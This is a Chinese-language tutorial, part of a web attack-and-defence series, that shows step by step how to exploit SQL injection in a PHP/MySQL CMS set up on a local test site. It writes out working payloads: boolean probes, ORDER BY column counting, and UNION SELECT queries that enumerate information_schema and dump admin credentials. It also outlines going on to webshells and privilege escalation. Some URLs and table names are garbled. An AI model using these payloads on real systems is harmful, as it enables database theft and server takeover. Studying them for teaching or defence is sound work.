PHP+MYSQL注⼊
Web攻防系列教程之PHP + Mysql注⼊攻防实战
摘要:随着Web应⽤的⾼速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越⼤,越来越多的⼈加⼊了Web开发的⾏列。但是由于程序员的⽔平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上的实现,很少或是根本没有考虑应⽤的安全性问题。这就导致了很多应⽤都存在不同程度的安全漏洞。SQL注⼊便是其中的⼀种。
随着Web应⽤的⾼速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越⼤,越来越多的⼈加⼊了Web开发的⾏列。但是由于程序员的⽔平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上的实现,很少或是根本没有考虑应⽤的安全性问题。这就导致了很多应⽤都存在不同程度的安全漏洞。SQL注⼊便是其中的⼀种。
SQL注⼊作为⼀种很流⾏的攻击⼿段,⼀直以来都受到⽹络安全研究者和⿊客们的⼴泛关注。那什么是SQL注⼊呢?SQL注⼊是这样⼀种攻击技术:攻击者通过把恶意SQL命令插⼊到Web表单的输⼊域或页⾯请求的查询字符串中,来达到欺骗服务器执⾏恶意的SQL命令的⼀种攻击⽅式。
SQL注⼊攻击概述
SQL注⼊(SQL Injection)定义
SQL注⼊是攻击者通过把恶意SQL命令插⼊到Web表单的输⼊域或页⾯请求的查询字符串中,来达到欺骗服务器执⾏恶意的SQL命令的⼀种攻击⽅式。
SQL注⼊攻击危害
利⽤SQL注⼊漏洞,攻击者可以操纵数据库的数据(如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等),在得到⼀定权限后还可以挂马,甚⾄得到整台服务器的管理员权限。由于SQL注⼊是通过⽹站正常端⼝(通常为80端⼝)来提交恶意SQL语句,表⾯上看起来和正常访问⽹站没有区别,如果不仔细查看WEB⽇志很难发现此类攻击,隐蔽性⾮常⾼。⼀旦程序出现SQL注⼊漏洞,危害相当⼤,所以我们对此应该给予⾜够的重视。
SQL注⼊漏洞原理
SQL注⼊的本质是恶意攻击者将SQL代码插⼊或添加到程序的参数中,⽽程序并没有对传⼊的参数进⾏正确处理,导致参数中的数据会被当做代码来执⾏,并最终将执⾏结果返回给攻击者。
我们来看⼀个例⼦,当访问www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3时,在页⾯上会显⽰⼀篇id号为3的⽂章,在服务器端实际上会执⾏如下⼀段代码,如图1所⽰:
图1
上⾯的过程中实际执⾏的SQL语句如下:
Select * from news where id=3
现在我们在URL(www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3)后⾯添加" and 1=1",此时实际执⾏的SQL语句是:
Select * from news where id=3 and 1=1
由于这个条件永远成⽴,所以返回的页⾯和正常页⾯相同。
当添加“and 1=2”时,会执⾏如下SQL语句:
Select * from news where id=3 and 1=2
由于这个条件永远不成⽴,所以返回的页⾯和正常页⾯不同。
现在我们可以控制参数id的值来影响程序的返回结果。我们来分析⼀下图1中的代码,通过GET⽅式取的参数id的值后,直接⽤来构造动态SQL语句,并执⾏SQL查询。整个过程没有对变量id的值作任何处理,导致SQL注⼊漏洞的产⽣。
SQL注⼊典型流程
1.判断Web系统使⽤的脚本语⾔,发现注⼊点,并确定是否存在SQL注⼊漏洞
2.判断Web系统的数据库类型
3.判断数据库中表及相应字段的结构
4.构造注⼊语句,得到表中数据内容
5.查⽹站管理员后台,⽤得到的管理员账号和密码登录
6.结合其他漏洞,想办法上传⼀个Webshell
7.进⼀步提权,得到服务器的系统权限
(注:以上为⼀般流程,根据实际情况,情况可能会有所不同。)
PHP+Mysql注⼊实例
为了⽅便测试,我们在本地搭建了⼀个Web系统环境,以攻击者的⾓度来渗透⽹站,让读者理解php+mysql注⼊的完整流程。URL是www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/index.php,⽹站⾸页截图如图2所⽰:
图2
1.查注⼊点,判断⽹站是否存在SQL注⼊漏洞
⾸先打开⽹站,选择“企业新闻”的链接,随便选择⼀篇新闻,如图3所⽰。通过此URL
(www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3),我们可以确定此处存在⼀个参数为id,它的值等于3。
图3
现在我们在www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3后⾯加⼀个单引号,会发现返回⼀个和正常页⾯不同的页⾯,如图4所⽰,这说明我们添加的单引号影响了程序的运⾏结果。此处很可能存在注⼊点,但有时仅⽤添加单引号的⽅法判断是否存在注⼊点并不准确。因为有的程序员认为只要简单过滤了单引号就可以避免SQL注⼊,所以在程序参数中只是简单过滤了单引号,并没有做其他处理。这时⽤添加单引号的⽅法去探测程序是否存在SQL注⼊漏洞时,是探测不到的;但实际上仍然存在SQL注⼊漏洞,可以通过其他⽅法探测到。
图4
接着我们在www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3后⾯添加" and 1=1"和“and
1=2”,会发现当添加and 1=1时返回的页⾯和正常页⾯是⼀致的,如图5所⽰。
图5
当添加and 1=2时返回的页⾯和正常页⾯不⼀致
现在我们可以确定此处是⼀个SQL注⼊点,程序对带⼊的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3时数据库中执⾏的SQL语句⼤概是这样的:
Select * from [表名] where id=3
php调用mysql数据库添加and 1=1后的SQL语句:
Select * from [表名] where id=3 and 1=1 由于条件and 1=1永远为真,所以返回的页⾯和正常页⾯是⼀致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=3 and 1=2 由于条件1=2永远为假,所以返回的页⾯和正常页⾯不⼀致
2.通过SQL注⼊,得到我们感兴趣的信息
上⾯我们确定了此系统存在SQL注⼊漏洞,下⾯就让我们来体验下SQL注⼊强⼤的威⼒吧。我们先来判断⼀下数据库类型以及版本,构造如下语句:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3 and ord(mid(version(),1,1))>51
发现返回正常页⾯,说明数据库是mysql,并且版本⼤于4.0,⽀持union查询,反之是4.0以下版本或者其他类型数据库。
接着我们再构造如下语句来暴表中字段:
a. www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3 order by 10 返回错误页⾯,说明字段⼩于10
b. www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3 order by 5 返回正常页⾯,说明字段介于5和10之间
c. www.doczj/doc/3afe094eb52acfc789ebc98
d.html /cms/new.php?id=3 order by 7 返回错误页⾯,说明字段⼤于5⼩于7,可以判断字段数是6。下⾯我们再来确认⼀下
d. www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=3 order by 6 返回正常页⾯,说明字段确实是6
这⾥采⽤了“⼆分查法”,这样可以减少判断次数,节省时间。如果采⽤从order by 1依次增加数值的⽅法来判断,需要7次才可以确定字段数,采⽤“⼆分查法”只需要4次就够。当字段数很⼤时,⼆分查法的优势更加明显,效率更⾼。
下⾯我们构造如下的语句来确定哪些字段可以⽤来显⽰数据:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=0 union select 1,2,3,4,5,6
图7
根据返回信息,我们可以确定字段3,4,5,6可以⽤来显⽰数据,如图7所⽰。那么我们来构造下⾯的语句来得到⼀些数据库信息:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=0 union select
1,2,database(),version(),user(),6
图8
根据如图8所⽰的页⾯返回信息,我们可以得到如下信息:
数据库名:cms
数据库版本:5.1.51-community
⽤户名:root@localhost,并且Web系统和数据库在同⼀台服务器上
我们还可以构造别的语句来得到其他信息,如操作系统和数据库路径等等,这⾥可以⾃由发挥。根据上⾯的信息我们得知数据库为5.0以上版本。在mysql5.0以上版本中增加了⼀个系统库,叫information_schema,利⽤它我们可以直接暴库、表、字段。在5.0以下的版本中只能通过暴⼒猜解的⽅式去获得表名和字段名。下⾯我们来构造SQL语句暴出表名和字段名:
暴表名
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=0 union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=0x636D73 limit 0,1
注:table_schema=[库名],库名要转换成16进制。Limit 0,1中的0表⽰查询库中第⼀个表,依此类推。
⼀直暴到第⼗⼆个表,发现⼀个表名为root的表,怀疑是管理员表。接着暴出这个表中的字段,构造如下SQL语句:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=0 union select 1,2,column_name,4,5,6 from lumns where table_name=0x726F6F74 limit 0,1
最终确认此表存在三个字段,分别是root_id、root_name和root_pass。初步判断此表应该是保存管理员账号和密码的。现在我们已经得到root表和其相应的字段名称。
暴表中的内容
构造如下SQL语句:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/new.php?id=0 union select
1,2,root_id,root_name,root_pass,6
图9
如图9所⽰,我们得到了管理员的账号和密码,密码是经过MD5加密的,经过解密后为123456。我们现在得到了管理员的账号和密码,只要到管理员登录页⾯,就可以登录进⼊后台了。很快我们就到了⽹站的后台地址:
www.doczj/doc/3afe094eb52acfc789ebc98d.html /cms/isadmin/login.php
我们登录进去看下,如图10所⽰。
图10
现在我们有了⽹站管理员的权限,可以随意更改⽹站的信息(如添加、删除⽂章等),还可以结合其他漏洞上传⼀个Webshell,进⼀步提权获得服务器的系统权限。此处可以充分发挥⾃⼰的想像⼒。因为本⽂主要讲述SQL注⼊,所以关于提权的问题请查阅其他资料。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。